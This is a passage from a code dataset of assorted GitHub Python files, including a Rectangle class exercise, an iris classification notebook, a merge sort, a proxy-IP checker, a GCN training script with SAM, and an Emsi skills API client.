\n\n\npos=nx.circular_layout(G)\nedges=G.edges()\ncolors=[G[u][v]['color']for u,v in edges]\n\nnx.draw(G,pos,node_color='b', with_labels=True,edges=edges,edge_color=colors)\n\nplt.show()\t","repo_name":"tawfik-1990/PythonNetworkx","sub_path":"Drawdata.py","file_name":"Drawdata.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24067573458","text":"#!/usr/bin/python3\n\"\"\"This module defines a class Rectangle\n that inherits from Base\n\"\"\"\nfrom models.base import Base\n\n\nclass Rectangle(Base):\n \"\"\"This class defines a rectangle object that\n inherits from Base\n \"\"\"\n def __init__(self, width, height, x=0, y=0, id=None):\n \"\"\"This method initializes a rectangle object\n including its id through the Base class\n \"\"\"\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n Base.__init__(self, id)\n\n @property\n def width(self):\n \"\"\"No args.\n Return width\n \"\"\"\n return self.__width\n\n @width.setter\n def width(self, width):\n \"\"\"Set width.\n Args: width must be a number\n \"\"\"\n if type(width) is not int:\n raise TypeError('width must be an integer')\n if width <= 0:\n raise ValueError('width must be > 0')\n self.__width = width\n\n @property\n def height(self):\n \"\"\"Return height.\n No arguments\n \"\"\"\n return self.__height\n\n @height.setter\n def height(self, height):\n \"\"\"Set height property.\n Args: height must be a number\n \"\"\"\n if type(height) is not int:\n raise TypeError('height must be an integer')\n if height <= 0:\n raise ValueError('height must be > 0')\n self.__height = height\n\n @property\n def x(self):\n \"\"\"Getter for x.\n Takes no args\n \"\"\"\n return self.__x\n\n @x.setter\n def x(self, x):\n \"\"\"Setter for x.\n x must be a number\n \"\"\"\n if type(x) is not int:\n raise TypeError('x must be an integer')\n if x < 0:\n raise ValueError('x must be >= 0')\n self.__x = x\n\n @property\n def y(self):\n \"\"\"Getter for y.\n Takes no args\n \"\"\"\n return self.__y\n\n @y.setter\n def y(self, y):\n \"\"\"Setter for y.\n y must be a number\n \"\"\"\n if type(y) is not int:\n raise TypeError('y must be an integer')\n if y < 0:\n raise ValueError('y must be >= 0')\n self.__y = y\n\n def area(self):\n \"\"\"Calculates and returns\n The area of an instance\n \"\"\"\n return self.height * self.width\n\n def display(self):\n \"\"\"This method will print the object\n using '#'\n \"\"\"\n string = ''\n string = '\\n' * self.y\n for height in range(self.height):\n string += (' ' * self.x) + ('#' * self.width)\n if height < self.height - 1:\n string += '\\n'\n print(string)\n return string\n\n def __str__(self):\n \"\"\"This method will return\n a custom string representation\n to the print function/user\n \"\"\"\n string = f\"[{self.__class__.__name__}] ({self.id}) {self.x}/{self.y}\"\n string += f\" - {self.width}/{self.height}\"\n return string\n\n def update(self, *args, **kwargs):\n \"\"\"Update the attributes of an instance\n Args:\n *args: a variable number of unnamed args\n \"\"\"\n if args is not None and len(args) > 0:\n length = len(args)\n if length >= 1:\n self.id = args[0]\n if length >= 2:\n self.width = args[1]\n if length >= 3:\n self.height = args[2]\n if length >= 4:\n self.x = args[3]\n if length >= 5:\n self.y = args[4]\n else:\n for key in kwargs:\n if key == 'width':\n self.width = kwargs[key]\n if key == 'height':\n self.height = kwargs[key]\n if key == 'x':\n self.x = kwargs[key]\n if key == 'y':\n self.y = kwargs[key]\n if key == 'id':\n self.id = kwargs[key]\n\n def to_dictionary(self):\n \"\"\"Create and return a dictionary representation\n of a rectangle\n \"\"\"\n dic = {\n 'x': self.x,\n 'y': self.y,\n 'id': self.id,\n 'height': self.height,\n 'width': self.width\n }\n return dic\n","repo_name":"awolcat/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":4368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24703594458","text":"N = int(input())\nscore = list(map(int, input().split()))\nmax = score[0]\navg = 0\n\nfor i in range(1, N) :\n if max < score[i] :\n max = score[i]\n\nfor j in range(0, N) :\n score[j] = score[j]/max*100\n avg = avg+score[j]\n\nprint(avg/N)","repo_name":"Sonjieun2/AlgorithmStudy","sub_path":"Baekjoon/2023_5/0510/1546.py","file_name":"1546.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35977645231","text":"import pandas as pd\nfrom pandas.plotting import scatter_matrix\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport time\nfrom sklearn import model_selection\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\n\nstart_time =time.time()\nurl = \"https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data\"\nnames = ['sepal-length', 'sepal-width', 'petal-length', 'petal-width', 'class']\ndataset = pd.read_csv(url, names=names)\n\n#shape\nprint(dataset.shape)\n\nprint(dataset.tail())\n\nprint(dataset.describe())\n\nprint(dataset.groupby('class').size())\n\ndataset.plot(kind='box', subplots=True, layout=(2,2), sharex=False, sharey=False)\nplt.show()\n\n\ndataset.hist()\nplt.show()\n\n# scatter plot matrix\nscatter_matrix(dataset)\nplt.show()\n\narray = dataset.values\nX = array[:, 0:4]\nY = array[:, 4]\nvalidation_size = 0.20\nseed = 7\nX_train, X_validation, Y_train, Y_validation = model_selection.train_test_split(X, Y, test_size=validation_size, random_state=seed)\n\n\nseed = 7\nscoring = 'accuracy'\nmodels = [('LR', LogisticRegression()), ('LDA', LinearDiscriminantAnalysis()), ('KNN', KNeighborsClassifier()),\n ('CART', DecisionTreeClassifier()), ('NB', GaussianNB()), ('SVM', SVC())]\n# print(models)\n# evaluate each model in turn\nresults = []\nnames = []\nfor name, model in models:\n kfold = model_selection.KFold(n_splits=10, random_state=seed)\n cv_results = model_selection.cross_val_score(model, X_train, Y_train, cv=kfold, scoring=scoring)\n results.append(cv_results)\n names.append(name)\n msg = \"%s: %f (%f)\" % (name, cv_results.mean(), cv_results.std())\n print(msg)\n\n\n\n# Compare Algos\nfig = plt.figure()\nfig.suptitle('Algorthm Comparison')\nax = fig.add_subplot(111)\nplt.boxplot(results)\nax.set_xticklabels(names)\nplt.show()\n\n\nknn = KNeighborsClassifier()\nknn.fit(X_train, Y_train)\npredictions = knn.predict(X_validation)\nprint(accuracy_score(Y_validation, predictions))\nprint(\"\\t=============================================\\n\")\nprint(confusion_matrix(Y_validation, predictions))\nprint(\"\\t=============================================\\n\")\nprint(classification_report(Y_validation, predictions))\n\nplt.figure(figsize=(8,4))\nsns.heatmap(dataset.corr(), annot=True, cmap='cubehelix_r')\n# draws heatmap with input as correlation matrix calculated by iris.corr()\nplt.show()\n\n\n\n\nplt.subplot(2,2,1)\nsns.violinplot(x='class', y = 'sepal-length', data=dataset)\nplt.subplot(2,2,2)\nsns.violinplot(x='class', y = 'sepal-width', data=dataset)\nplt.subplot(2,2,3)\nsns.violinplot(x='class', y = 'petal-length', data=dataset)\nplt.subplot(2,2,4)\nsns.violinplot(x='class', y = 'petal-width', data=dataset)\n\nprint(time.time()-start_time)","repo_name":"cyberex7/Machine_Learning_Iris_DataSet","sub_path":"Algorithm_Source_Code/Iris_Dataset_Notebook.py","file_name":"Iris_Dataset_Notebook.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33977746056","text":"number = [23,21,33,53,67,2,36,8,22,97,200]\n\ndef merge(arr):\n if len(arr) <= 1:\n return arr\n mid = len(arr)//2\n left = merge(arr[:mid])\n right = merge(arr[mid:])\n \n sorted = []\n left_index = 0\n rigth_index = 0\n \n while len(right) > rigth_index and len(left) > left_index:\n if left[left_index] < right[rigth_index]:\n sorted.append(left[left_index])\n left_index += 1\n else:\n sorted.append(right[rigth_index])\n rigth_index += 1\n \n sorted += left[left_index:]\n sorted += right[rigth_index:]\n \n return sorted\n\nif __name__ == '__main__':\n print(merge(number))","repo_name":"Tharindu209/PYTHON-","sub_path":"sort/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70606122348","text":"import service\nfrom evaluator import prepare_sensors_file\nfrom logger import logger\nfrom utils import to_lowercase_first_character_string\n\n\ndef filter_predicates(kitchen_state):\n predicates = []\n for item in kitchen_state.values():\n object_type = item['type']\n object_name = item['name']\n if object_type == 'Abe':\n predicates.append(('Robot', object_name))\n elif 'owl:' not in object_type and 'Particle' not in object_type:\n predicates.append((object_type, object_name))\n return predicates\n\n\ndef set_state(response, state_out):\n if response is None:\n return None\n if not state_out:\n kitchen_state = response['?kitchen-state-1']\n else:\n kitchen_state = response['kitchenStateOut']\n predicates = filter_predicates(kitchen_state)\n prepare_sensors_file(predicates)\n\n\ndef initialize_state():\n if not service.has_state:\n logger.debug(f'Setting initial kitchen state...')\n response = service.to_get_state()\n set_state(response, False)\n service.has_state = True\n\n\ndef fetch(parameters):\n targets = parameters[1]\n for target in targets:\n response = service.to_fetch(target)\n set_state(response, True)\n\n\ndef cut(parameters):\n targets = parameters[1]\n cutting_tool = parameters[2][0]\n for target in targets:\n response = service.to_cut(target, cutting_tool)\n set_state(response, True)\n\n\ndef bake(parameters):\n targets = parameters[1]\n oven = parameters[2][0]\n destination_counter = parameters[3][0]\n for target in targets:\n response = service.to_bake(target, oven, destination_counter)\n set_state(response, True)\n\n\ndef line(parameters):\n baking_trays = parameters[1]\n baking_paper = parameters[2]\n for iterator in range(len(baking_trays)):\n response = service.to_line(baking_trays[iterator], baking_paper[iterator])\n set_state(response, True)\n\n\ndef mix(parameters):\n targets = parameters[1]\n mixing_tool = parameters[2]\n for target in targets:\n response = service.to_mix(target, mixing_tool[0])\n set_state(response, True)\n\n\ndef sprinkle(parameters):\n targets = parameters[1]\n topping_container = parameters[2]\n for target in targets:\n response = service.to_sprinkle(target, topping_container[0])\n set_state(response, True)\n\n\ndef shape(parameters):\n containers = parameters[1]\n destination = parameters[2][0]\n for container in containers:\n response = service.to_shape(container, destination)\n set_state(response, True)\n\n\ndef transfer(parameters):\n source_containers = parameters[1]\n target_containers = parameters[2]\n for iterator in range(len(source_containers)):\n response = service.to_transfer(source_containers[iterator], target_containers[iterator])\n set_state(response, True)\n\n\ndef execute_command(predicate, parameters):\n logger.debug(f'Executing command {predicate} with parameters {parameters}')\n parameters = [[to_lowercase_first_character_string(item) for item in sublist] for sublist in parameters]\n\n initialize_state()\n\n command_functions = {\n 'fetch': fetch,\n 'cut': cut,\n 'bake': bake,\n 'line': line,\n 'mix': mix,\n 'sprinkle': sprinkle,\n 'shape': shape,\n 'transfer': transfer\n }\n\n if predicate in command_functions:\n command_functions[predicate](parameters)\n else:\n logger.error(f'Invalid command: {predicate}')\n\n\ndef main():\n execute_command('fetch', [['Abe'], ['RedOnion1', 'RedOnion2']])\n execute_command('cut', [['Abe'], ['RedOnion1'], ['CookingKnife']])\n execute_command('line', [['Abe'], ['BakingTray1', 'BakingTray2'], ['BakingSheet1', 'BakingSheet2']])\n # execute_command('transfer', [['Abe'], ['LargeBowl2'], ['LargeBowl']])\n # execute_command('transfer', [['Abe'], ['LargeBowl2'], ['LargeBowl']])\n # execute_command('line', [['Abe'], ['BakingTray1'], ['BakingSheet1']])\n # execute_command('sprinkle', [['Abe'], ['BakingTray1'], ['SugarBag']])\n execute_command('bake', [['Abe'], ['BakingTray1'], ['Oven'], ['KitchenCounter']])\n # execute_command('mix', [['Abe'], ['LargeBowl'], ['Whisk']])\n # execute_command('shape', [['Abe'], ['LargeBowl'], ['BakingTray1']])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"StefanMorar/HRI-Quantifiers","sub_path":"src/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":4343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"25786238761","text":"\n \nclass Simulation:\n def __init__(self):\n self.sum = 1\n self.cycle_num = 0\n self.signal_strength = 0\n \n def process_value(self, line):\n if line == \"noop\":\n yield (self.sum, self.cycle_num + 1)\n\n else:\n yield (self.sum, self.cycle_num + 1)\n yield (self.sum + int(line.split()[1]), self.cycle_num + 1)\n\n def detect_cycle(self):\n tmp = self.cycle_num +20\n if tmp % 40 == 38 or tmp %40 == 39:\n self.last_value = self.sum\n\n if tmp % 40 == 0:\n self.signal_strength += self.cycle_num * self.last_value\n\n def print_signal_strength(self):\n print(self.signal_strength)\n\ndef main():\n simulation = Simulation()\n with open(\"day-10/input.in\", \"r\") as f:\n for line in f.readlines():\n for state in simulation.process_value(line.strip()):\n simulation.sum = state[0]\n simulation.cycle_num = state[1]\n simulation.detect_cycle()\n \n simulation.print_signal_strength() \nif __name__ == \"__main__\":\n main()","repo_name":"marosstudenic/advent_of_code_2022","sub_path":"day-10/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28235074717","text":"\"\"\"\n目标:检查代理IP速度,匿名程序以及支持的协议\n步骤:\n 1.代理IP速度和匿名程度:\n ·对http://httpbin.org/get或https://httpbin.org/get 发送请求\n ·如果响应的origin中有','分割的两个IP就是透明代理IP\n ·如果响应的headers 中包含 Proxy-Connection 说明是匿名代理IP\n ·否则就是高匿代理IP\n 2.检查代理IP协议\n ·如果 http://httpbin.org/get 发送请求可以成功,说明支持http协议\n ·如果 https://httpbin.org/get 发送请求可以成功,说明支持https协议\n\"\"\"\nimport requests\nimport time\nimport json\nfrom utils.http import get_request_headers\nfrom settings import TEST_TIMEOUT\nfrom utils.log import logger\nfrom model import Proxy\n\n\ndef check_proxy(proxy):\n \"\"\"\n 用于检查指定 代理IP的响应速度,匿名程度,支持的协议类型\n :param proxy: 代理IP的数据模型对象\n :return: 返回检查后的���理IP\n \"\"\"\n\n proxies = {\n 'http': 'http://{}:{}'.format(proxy.ip, proxy.port),\n 'https': 'https://{}:{}'.format(proxy.ip, proxy.port),\n }\n\n http, http_nick_type, http_speed = _check_http_proxies(proxies)\n https, https_nick_type, https_speed = _check_http_proxies(proxies, False)\n\n if http and https:\n proxy.protocol = 2\n proxy.nick_type = http_nick_type\n proxy.speed = http_speed\n elif https:\n proxy.protocol = 1\n proxy.nick_type = https_nick_type\n proxy.speed = https_speed\n elif http:\n proxy.protocol = 0\n proxy.nick_type = http_nick_type\n proxy.speed = http_speed\n else:\n proxy.protocol = -1\n proxy.nick_type = -1\n proxy.speed = -1\n\n return proxy\n\n\ndef _check_http_proxies(proxies, is_http=True):\n nick_type = -1 # 代理IP的匿名类型,高匿是0,匿名是1,透明是2\n speed = -1 # 代理IP的响应速度,单位秒\n if is_http:\n test_url = \"http://httpbin.org/get\"\n else:\n test_url = \"https://httpbin.org/get\"\n\n start_time = time.time()\n\n try:\n response = requests.get(test_url, headers=get_request_headers(), proxies=proxies, timeout=TEST_TIMEOUT)\n\n if response.ok:\n speed = round(time.time() - start_time, 2)\n\n dic = json.loads(response.text)\n\n origin = dic['origin']\n\n proxy_connection = dic['headers'].get(\"['Proxy-Connection']\", None)\n\n if \",\" in origin:\n nick_type = 2\n elif proxy_connection:\n nick_type = 1\n else:\n nick_type = 0\n\n return True, nick_type, speed\n return False, nick_type, speed\n except Exception as e:\n logger.error(e)\n return False, nick_type, speed\n\n\nif __name__ == '__main__':\n proxy = Proxy(ip=\"58.218.214.151\", port=\"8708\")\n check_proxy(proxy)\n # print(proxy)\n","repo_name":"ghostcfl/IPProxyPool","sub_path":"core/proxy_vaildate/httpbin_vaildator.py","file_name":"httpbin_vaildator.py","file_ext":"py","file_size_in_byte":2921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10604591514","text":"import random\n\nnumber = random.randint(1, 100)\n\nuser_number = None\ncount = 0\nlevels = {1: 10, 2: 7, 3: 5}\n\nlevel = int(input('Выберите уровень сложности от 1 до 3: '))\nmax_count = levels[level]\nprint('У вас', max_count, 'попыток!')\n\nuser_count = int(input('Введите количество игроков: '))\nusers = []\nfor i in range(user_count):\n user_name = input(f'Введите имя пользователя {i + 1} :')\n users.append(user_name)\nprint(users)\n\nis_winner = False\nwinner_name = None\nwhile not is_winner:\n count += 1\n if count > max_count:\n print('Все проиграли :(')\n break\n print(f'Попытка № {count}')\n for user in users:\n print(f'Ход игрока {user}')\n user_number = int(input('Угадайте число от 1 до 100: '))\n if user_number == number:\n is_winner = True\n winner_name = user\n break\n\n elif number < user_number:\n print('Ваше число БОЛЬШЕ, попробуй еще.')\n else:\n print('Ваше число МЕНЬШЕ, попробуй еще.')\nelse:\n print(f'Победитель {winner_name}!')\n","repo_name":"NikolayBeltsov/Python","sub_path":"guess the number.py","file_name":"guess the number.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3169590160","text":"import argparse\nimport torch\n\nimport sys; \nsys.path.append(\".\")\n\nfrom models.gcn import GCN\nfrom models.smooth_cross_entropy import smooth_crossentropy\n\nfrom utilities.log import Log\nfrom utilities.initialize import initialize\nfrom utilities.step_lr import StepLR\nfrom utilities.bypass_bn import enable_running_stats, disable_running_stats\nfrom DatasetClass.TUD import GraphDataset\n\nfrom sam import SAM\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--adaptive\", default=True, type=bool, help=\"True if you want to use the Adaptive SAM.\")\n parser.add_argument(\"--batch_size\", default=64, type=int, help=\"Batch size used in the training and validation loop.\")\n parser.add_argument(\"--epochs\", default=200, type=int, help=\"Total number of epochs.\")\n parser.add_argument(\"--label_smoothing\", default=0.1, type=float, help=\"Use 0.0 for no label smoothing.\")\n parser.add_argument(\"--learning_rate\", default=0.01, type=float, help=\"Base learning rate at the start of the training.\")\n parser.add_argument(\"--rho\", default=0.3, type=float, help=\"Rho parameter for SAM.\")\n parser.add_argument(\"--weight_decay\", default=0.0005, type=float, help=\"L2 weight decay.\")\n parser.add_argument(\"--optimizer\", default='ADAM', type=str, help=\"ADAM or SAM\")\n parser.add_argument(\"--train_rate\", default=70, type=int, help=\"Train rate, [0,100]\")\n parser.add_argument(\"--hidden-channels\", default=64, type=int, help=\"Hidden channels of convolutional layers\")\n args = parser.parse_args()\n\n initialize(args, seed=42)\n #device = torch.device(\"mps\" if torch.backends.mps.is_available() else \"cpu\")\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n \n #################################### Import the dataset ##########################################\n name='Mutagenicity'\n Graphs = GraphDataset(name, args.train_rate, args.batch_size)\n Graphs.GlobalStats(freq=False)\n Graphs.LocalStats()\n \n ########################### Import the model ####################################################\n from torchinfo import summary\n model = GCN(args.hidden_channels, Graphs.dataset.num_node_features, Graphs.dataset.num_classes).to(device)\n summary(model)\n \n log = Log(log_each=10, optimizer=args.optimizer, rho=args.rho, test_case = 'gcn')\n \n ########################## Define the optimizer ################################################\n if args.optimizer == 'ADAM':\n optimizer = torch.optim.Adam(model.parameters(), lr=args.learning_rate, weight_decay=args.weight_decay)\n elif args.optimizer == 'SAM':\n base_optimizer = torch.optim.Adam\n optimizer = SAM(model.parameters(), base_optimizer, rho=args.rho, adaptive=args.adaptive, lr=args.learning_rate, weight_decay=args.weight_decay)\n else:\n raise NotImplementedError\n \n scheduler = StepLR(optimizer, args.learning_rate, args.epochs)\n\n ########################## Train the model ################################################\n for epoch in range(args.epochs):\n model.train()\n log.train(len_dataset=len(Graphs.train_dataset))\n\n for data in Graphs.train_loader:\n input_x = data.x.to(device)\n input_edge_index = data.edge_index.to(device)\n input_batch = data.batch.to(device)\n targets = data.y.to(device)\n \n if args.optimizer == 'ADAM':\n predictions = model(input_x, input_edge_index, input_batch)\n loss = smooth_crossentropy(predictions, targets, smoothing=args.label_smoothing) # torch.Size([batch_size])\n loss.mean().backward()\n optimizer.step()\n optimizer.zero_grad()\n \n elif args.optimizer == 'SAM':\n # first forward-backward step\n enable_running_stats(model)\n predictions = model(input_x, input_edge_index, input_batch)\n loss = smooth_crossentropy(predictions, targets, smoothing=args.label_smoothing)\n loss.mean().backward()\n optimizer.first_step(zero_grad=True)\n\n # second forward-backward step\n disable_running_stats(model)\n smooth_crossentropy(model(input_x, input_edge_index, input_batch), targets, smoothing=args.label_smoothing).mean().backward()\n optimizer.second_step(zero_grad=True)\n \n with torch.no_grad():\n correct = predictions.max(dim=1).indices == targets # torch.Size([64])\n log(model, loss.cpu(), correct.cpu(), scheduler.lr())\n scheduler(epoch)\n \n model.eval()\n log.eval(len_dataset=len(Graphs.test_dataset))\n\n with torch.no_grad():\n for data in Graphs.test_loader:\n input_x = data.x.to(device)\n input_edge_index = data.edge_index.to(device)\n input_batch = data.batch.to(device)\n targets = data.y.to(device)\n\n predictions = model(input_x, input_edge_index, input_batch)\n loss = smooth_crossentropy(predictions, targets)\n correct = predictions.max(dim=1).indices == targets\n log(model, loss.cpu(), correct.cpu())\n \n if epoch==int(args.epochs/2) and args.optimizer=='SAM': \n acc = log.final__accuracy()\n state_half = {\n 'acc': acc,\n 'state_dict': model.state_dict(),\n }\n\n torch.save(state_half, 'to_plot/model_gcn_half_' + args.optimizer + '_rho' + str(args.rho) + '.pt')\n \n log.flush()\n acc = log.final__accuracy()\n \n state = {\n 'acc': acc,\n 'state_dict': model.state_dict(),\n }\n if args.optimizer == 'SAM':\n torch.save(state, 'to_plot/model_gcn_' + args.optimizer + '_rho' + str(args.rho) + '.pt')\n if args.optimizer == 'ADAM':\n torch.save(state, 'to_plot/model_gcn_' + args.optimizer + '.pt')\n","repo_name":"francpp/sharpness-aware_minimization","sub_path":"trainings/my_train_GCN.py","file_name":"my_train_GCN.py","file_ext":"py","file_size_in_byte":6085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74742343466","text":"import pytest\n\nfrom ermaket.api.database import DBConn\nfrom ermaket.api.models import Models\n\n\n@pytest.mark.usefixtures(\"config\")\ndef test_connection():\n DBConn.reset()\n with pytest.raises(TypeError):\n DBConn.Session()\n DBConn()\n with DBConn.get_session() as sess:\n assert sess\n\n\n@pytest.mark.usefixtures(\"block_singletons\")\ndef test_models():\n models = Models()\n assert len(models.schemas) > 0\n\n list_ = list(models)\n assert len(list_) > 0\n\n models2 = Models()\n assert len(models.schemas) == len(models2.schemas)\n\n\n@pytest.mark.usefixtures(\"models\", \"test_db\")\ndef test_marshmallow(models):\n dumps = []\n with DBConn.get_session() as db:\n for model in iter(models):\n item = db.query(model).first()\n obj = model.__marshmallow__(session=db).dump(item)\n dumps.append(obj)\n for obj in dumps:\n assert obj is not None\n","repo_name":"SqrtMinusOne/ERMaket","sub_path":"ermaket/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42091079172","text":"def solution(s):\n answer = ''.join(s.lower())\n res = ''\n res += answer[0].upper()\n\n for i in range(1, len(answer)):\n if answer[i] == \" \":\n res += res.join(\"\")\n if answer[i-1] == \" \":\n res += res.join(answer[i].upper())\n else:\n res += res.join(answer[i])\n\n return res\n\nprint(solution(\"3people unFollowed me\"))\nprint(solution(\"for the last week\"))","repo_name":"subinmun1997/my_python-for-coding-test","sub_path":"Level2/solution4.py","file_name":"solution4.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"31334807444","text":"numero = int(input(\"Digite um numero de 1 a 7 correspondente a um dia da semana: \"))\ndia = str()\ndia_tipo = str()\n\nif 1 < numero < 7:\n dia_tipo = \"dia util\"\n\n if numero == 2:\n dia = \"Segunda\"\n\n elif numero == 3:\n dia = \"Terca\"\n\n elif numero == 4:\n dia = \"Quarta\"\n\n elif numero == 5:\n dia = \"Quinta\"\n\n elif numero == 6:\n dia = \"Sexta\"\n\nelse:\n dia_tipo = \"final de semana\"\n\n if numero == 1:\n dia = \"Domingo\"\n\n elif numero == 7:\n dia = \"Sabado\"\n\nprint(dia, dia_tipo, sep=\", \")\n","repo_name":"gabrielmacaubas/IFPB","sub_path":"APE/semana-06/ex01.py","file_name":"ex01.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71516232107","text":"\"\"\"\nSummary\n\"\"\"\nfrom .base import EmsiBaseConnection\n\n\nclass SkillsClassificationConnection(EmsiBaseConnection):\n \"\"\"docstring for SkillsClassificationConnection\n\n Attributes:\n base_url (str): Description\n scope (str): Description\n\n Deleted Attributes:\n token (TYPE): Description\n \"\"\"\n\n def __init__(self) -> None:\n \"\"\"Summary\n \"\"\"\n super().__init__()\n self.base_url = \"https://emsiservices.com/skills/\"\n self.scope = \"emsi_open\"\n\n self.get_new_token()\n\n self.name = \"Skills\"\n\n def get_meta(self):\n return self.get_versions()\n\n def get_versions(self) -> list:\n \"\"\"Summary\n\n Returns:\n list: Description\n \"\"\"\n return self.download_data(\"versions\").json()\n\n def get_version_metadata(self, version = \"latest\") -> list:\n \"\"\"Summary\n\n Returns:\n list: Description\n\n Args:\n version (str, optional): Description\n \"\"\"\n return self.download_data(f\"versions/{version}\").json()\n\n def get_version_changes(self, version = \"latest\") -> dict:\n \"\"\"Summary\n\n Args:\n version (str, optional): Description\n\n Returns:\n dict: Description\n \"\"\"\n response = self.download_data(f\"versions/{version}/changes\")\n data = response.json()[\"data\"]\n\n return data\n\n def get_list_all_skills(self, version: str = \"latest\", q: str = None, typeIds: str = None, fields: str = None) -> list:\n \"\"\"Summary\n\n Args:\n version (str, optional): Description\n q (str, optional): Description\n typeIds (str, optional): Description\n fields (str, optional): Description\n\n Returns:\n list: Description\n \"\"\"\n\n base_querystring = {\n \"q\": q,\n \"typeIds\": typeIds,\n \"fields\": fields\n }\n\n querystring = {}\n\n for key, value in base_querystring.items():\n if value is not None:\n querystring[key] = value\n\n if len(querystring) > 0:\n return self.download_data(\"versions/{}/skills\".format(version), querystring = querystring).json()\n\n else:\n return self.download_data(\"versions/{}/skills\".format(version)).json()\n\n def post_list_requested_skills(self, payload: dict, version: str = \"latest\", typeIds = None, fields = None) -> dict:\n \"\"\"Summary\n\n Args:\n payload (dict): Description\n version (str, optional): Description\n typeIds (None, optional): Description\n fields (None, optional): Description\n\n Returns:\n dict: Description\n \"\"\"\n\n base_querystring = {\n \"typeIds\": typeIds,\n \"fields\": fields\n }\n\n querystring: dict = {}\n for key, value in base_querystring.items():\n if value is None:\n querystring[key] = value\n\n if len(querystring) > 0:\n return self.download_data(\"versions/{}/skills\".format(version), payload = payload, querystring = querystring).json()\n\n else:\n return self.download_data(\"versions/{}/skills\".format(version), payload = payload).json()\n\n def get_skill_by_id(self, skill_id: str, version: str = \"latest\") -> dict:\n \"\"\"Summary\n\n Args:\n skill_id (str): Description\n version (str, optional): Description\n\n Returns:\n dict: Description\n \"\"\"\n return self.download_data(\"versions/{}/skills/{}\".format(version, skill_id)).json()\n\n def post_find_related_skills(self, skill_ids: list, limit = 10, fields = [\"id\", \"name\", \"type\", \"infoUrl\"], version: str = \"latest\"):\n \"\"\"Summary\n\n Args:\n skill_ids (list): Description\n limit (int, optional): Description\n fields (list, optional): Description\n version (str, optional): Description\n\n Returns:\n TYPE: Description\n \"\"\"\n payload = {\n \"ids\": skill_ids,\n \"limit\": limit,\n \"fields\": fields\n }\n return self.download_data(\"versions/{}/related\".format(version), payload = payload).json()\n\n def post_extract(self, description: str, version: str = 'latest', confidenceThreshold: float = 0.5) -> dict:\n \"\"\"Summary\n\n Args:\n description (str): Description\n version (str, optional): Description\n confidenceThreshold (float, optional): Description\n\n Returns:\n dict: Description\n \"\"\"\n return self.download_data(\n \"versions/{}/extract\".format(version),\n payload = {\"text\": description},\n querystring = {\"confidenceThreshold\": confidenceThreshold}\n ).json()\n\n def post_extract_with_source(self, description: str, version: str = 'latest', includeNormalizedText: bool = False) -> dict:\n \"\"\"Summary\n\n Args:\n description (str): Description\n version (str, optional): Description\n includeNormalizedText (bool, optional): Description\n\n Returns:\n dict: Description\n\n Deleted Parameters:\n confidenceThreshold (float, optional): Description\n \"\"\"\n return self.download_data(\n \"versions/{}/extract/trace\".format(version),\n payload = {\n \"text\": description,\n \"includeNormalizedText\": includeNormalizedText\n },\n ).json()\n","repo_name":"calebjcourtney/EmsiApiPy","sub_path":"apis/openSkills.py","file_name":"openSkills.py","file_ext":"py","file_size_in_byte":5555,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"21538984216","text":"import torch\n\nfrom learning.nets import *\n\ndef build_net(net_name, input_dict, activation=torch.nn.ReLU):\n if (net_name in globals()):\n net_func = globals()[net_name]\n net, info = net_func.build_net(input_dict, activation)\n else:\n assert(False), \"Unsupported net: {}\".format(net_name)\n return net, info\n","repo_name":"xbpeng/rl_assignments","sub_path":"learning/nets/net_builder.py","file_name":"net_builder.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"34818023893","text":"import sys\n#from sklearn.metrics import roc_auc_score, make_scorer\nfrom sklearn.svm import SVC\n#from sklearn.model_selection import StratifiedKFold, 